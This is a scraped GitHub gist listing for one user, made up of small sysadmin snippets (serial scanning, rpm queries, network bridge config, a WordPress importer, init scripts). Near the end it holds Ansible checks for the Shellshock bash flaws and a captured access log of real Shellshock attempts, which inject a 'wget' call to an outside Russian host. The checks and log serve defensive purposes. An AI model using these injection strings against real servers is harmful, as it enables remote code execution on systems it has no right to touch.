Skip to content

Instantly share code, notes, and snippets.

View Oneiroi's full-sized avatar
:shipit:

David Busby Oneiroi

:shipit:
View GitHub Profile
@Oneiroi
Oneiroi / scanosx.py
Created February 16, 2011 09:46
Scanning for available USB tty devices on OSX differes slightly from Linux.
#adapted from pySerial examples for use on OSX systems
import serial
from glob import glob
def _scan():
dev_list = glob('/dev/tty*usb*')
available = []
for dev in dev_list:
try:
s = serial.Serial(dev)
@Oneiroi
Oneiroi / find_packages_with_no_deps
Created October 9, 2011 12:26
Find packaes with no dependencies
rpm -qa | while read pname; do RES=`rpm -qR $pname`; [[ "$RES" == "" ]] && echo "$pname has no deps"; done
@Oneiroi
Oneiroi / gist:1276622
Created October 10, 2011 21:35
CentOS single nic bridge
put this in ifcfg-br0 :
DEVICE=br0
TYPE=Bridge
BOOTPROTO=static
IPADDR=xxx.xxx.xxx.xxx
NETMASK=xxx.xxx.xxx.xxx
GATEWAY=xxx.xxx.xxx.xxx
ONBOOT=yes
DELAY=0
@Oneiroi
Oneiroi / wordpress_importer.rb
Created February 9, 2012 17:41 — forked from stammy/wordpress_importer.rb
Import a WordPress database and generate markdown files for Jekyll
# based on the import script by icebreaker, which is based on mojombo's
# https://github.com/mojombo/jekyll/blob/master/lib/jekyll/migrators/wordpress.rb
# https://gist.github.com/303570
# edited to rewrite image URLs to use my CloudFront URL
require 'rubygems'
require 'sequel'
require 'fileutils'
require 'yaml'
@Oneiroi
Oneiroi / edge.sh
Created March 6, 2012 13:25
n2n sysvinit scripts
#!/bin/bash
# Author: David Busby <david.busby@psycle.com>
### BEGIN INIT INFO
# Provides: edge
# Required-Start: $supernode
# Required-Stop:
# Default-Start: 3 5
# Default-Stop: 0 1 2 6
@Oneiroi
Oneiroi / osx-aeolus-deps.sh
Created March 19, 2012 22:56
Aeolus @ OSX, Note: using homebrew + ruby version 1.9.3-p0
#!/bin/bash
BREW_RUBY_BIN="/usr/local/Cellar/ruby/1.9.3-p0/bin/"
echo "--- installing pre-requsite gems"
echo "rails
haml
nokogiri
will_paginate
deltacloud-client
simple-navigation
rest-client
@Oneiroi
Oneiroi / reminder.sh
Created May 18, 2012 10:27
Quick n dirty reminder for OSX
#!/bin/bash
/usr/bin/osascript <<-EOF
tell application "System Events"
activate
display dialog "DO STUFF NOW!"
end tell
EOF

Keybase proof

I hereby claim:

  • I am oneiroi on github.
  • I am oneiroi (https://keybase.io/oneiroi) on keybase.
  • I have a public key whose fingerprint is 1244 78DD E40C FFA1 EFB1 2F2C 22D8 7C7F A34E CF5E

To claim this, I am signing this object:

- name: Ensure bash is not vulnerable CVE-2014-6271
command: env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
register: shellshock
failed_when: "'vulnerable' in shellshock.stdout"
tags:
- CVE
- CVE-2014-6271
- name: Ensure bash is not vulnerable CVE-2014-7186
command: bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"
62.210.75.170 - - [29/Sep/2014:16:11:59 +0000] "GET / HTTP/1.1" 301 178 "() { :; }; wget http://creditstat.ru/b25laXJvaS5jby51a1NoZWxsU2hvY2tTYWx0 >> /dev/null" "() { :; }; wget http://creditstat.ru/b25laXJvaS5jby51a1NoZWxsU2hvY2tTYWx0 >> /dev/null"
62.210.75.170 - - [29/Sep/2014:16:11:59 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 301 178 "() { :; }; wget http://creditstat.ru/b25laXJvaS5jby51a1NoZWxsU2hvY2tTYWx0 >> /dev/null" "() { :; }; wget http://creditstat.ru/b25laXJvaS5jby51a1NoZWxsU2hvY2tTYWx0 >> /dev/null"
62.210.75.170 - - [29/Sep/2014:16:12:09 +0000] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 178 "() { :; }; wget http://creditstat.ru/b25laXJvaS5jby51a1NoZWxsU2hvY2tTYWx0 >> /dev/null" "() { :; }; wget http://creditstat.ru/b25laXJvaS5jby51a1NoZWxsU2hvY2tTYWx0 >> /dev/null"
62.210.75.170 - - [29/Sep/2014:16:12:11 +0000] "GET /cgi-mod/index.cgi HTTP/1.1" 301 178 "() { :; }; wget http://creditstat.ru/b25laXJvaS5jby51a1NoZWxsU2hvY2tTYWx0 >> /dev/null" "() { :; }; wget http://creditstat.ru/b25laXJ